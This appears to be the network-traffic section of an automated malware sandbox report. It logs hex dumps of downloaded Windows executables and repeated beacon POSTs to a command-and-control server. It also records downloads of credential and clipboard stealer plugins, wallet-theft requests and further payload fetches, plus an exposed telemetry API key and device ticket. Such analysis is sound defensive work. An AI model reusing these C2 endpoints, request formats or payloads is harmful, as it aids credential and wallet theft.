74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 48 04 00 00 00 00 00 00 00 59 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 59 00 00 04 00 00 a3 8c 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 cc 4a 58 00 4c 00 00 00 5e 10 15 00 72 00 00 00 00 50 14 00 f8 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 4a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 4a 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f8 b2 00 00 00 50 14 00 00 80 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 ce 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 20 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 76 6e 65 79 71 71 00 70 19 00 00 90 3f 00 00 6c 19 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 78 63 77 7a 66 70 63 00 10 00 00 00 00 59 00 00 04 00 00 00 3e 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:30:04 GMTContent-Type: application/octet-streamContent-Length: 1285632Last-Modified: Thu, 01 Feb 2024 16:00:36 GMTConnection: keep-aliveETag: "65bbc024-139e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 0f bf bb 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:30:04 GMTContent-Type: application/octet-streamContent-Length: 97792Last-Modified: Fri, 19 Apr 2024 00:20:52 GMTConnection: keep-aliveETag: "6621b8e4-17e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a2 a9 0c f0 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 74 01 00 00 08 00 00 00 00 00 00 4e 93 01 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 01 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 93 01 00 4b 00 00 00 00 a0 01 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 73 01 00 00 20 00 00 00 74 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 de 04 00 00 00 a0 01 00 00 06 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 01 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 93 01 00 00 00 00 00 48 00 00 00 02 00 05 00 b4 af 00 00 4c e3 00 00 03 00 00 00 43 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 09 00 20 03 00 00 01 00 00 11 73 01 00 00 0a 0a 02 7e 03 00 00 04 25 2d 17 26 7e 02 00 00 04 fe 06 10 00 00 06 73 02 00 00 0a 25 80 03 00 00 04 28 01 00 00 2b 6f 04 00 00 0a 0b 38 cc 02 00 00 07 6f 05 00 00 0a 17 17 19 8d 08 00 00 01 25 16 1f 0a 8d 09 00 00 01 25 d0 0a 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 25 17 1e 8d 09 00 00 01 25 d0 02 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 25 18 1d 8d 09 00 00 01 25 d0 07 01 00 04 28 06 00 00 0a 73 07 00 00 0a a2 28 01 01 00 06 6f 08 00 00 0a 0c 38 46 02 00 00 12 02 28 09 00 00 0a 0d 73 09 00 00 06 13 04 73 2c 01 00 06 13 05 11 04 7e 0a 00 00 0a 7d 01 00 00 04 7e 0a 00 00 0a 13 06 11 04 09 73 0b 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 7d 01 00 00 04 11 04 7b 01 00 00 04 1f 0f 8d 09 00 00 01 25 d0 12 01 00 04 28 06 00 00 0a 73 07 00 00 0a 6f 0e 00 00 0a 2c 1a 1e 8d 09 00 00 01 25 d0 fd 00 00 04 28 06 00 00 0a 73 07 00 00 0a 13 06 2b 4f 09 1f 3e 8d 09 00 00 01 25 d0 ca 00 00 04 28 06 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:30:07 GMTContent-Type: application/octet-streamContent-Length: 112128Last-Modified: Thu, 01 Feb 2024 16:00:35 GMTConnection: keep-aliveETag: "65bbc023-1b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1713490393138Host: self.events.data.microsoft.comContent-Length: 7974Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000054001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000055001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYyMQ==Host: 193.233.132.56Content-Length: 4781Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000056001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000057031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
